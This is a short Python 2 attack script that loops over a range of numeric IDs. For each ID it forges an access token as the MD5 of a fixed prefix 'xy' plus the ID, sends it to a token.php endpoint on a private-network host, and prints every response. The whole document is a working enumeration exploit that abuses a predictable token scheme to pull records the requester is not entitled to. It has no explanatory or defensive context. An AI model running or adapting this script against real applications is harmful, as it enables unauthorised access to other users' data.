import mechanize
import hashlib
import sys


num1 = int(sys.argv[1]);
num2 = int(sys.argv[2]);

br = mechanize.Browser()
for numeroId in range(num1, num2):
	try:
 		token = hashlib.md5("xy"+str(numeroId)).hexdigest()
		br.open("http://192.168.1.4/app/token.php?id="+str(numeroId)+"&token="+token)
		response = br.response().read()
		print response + "\n"
	except ValueError, e:
 		pass
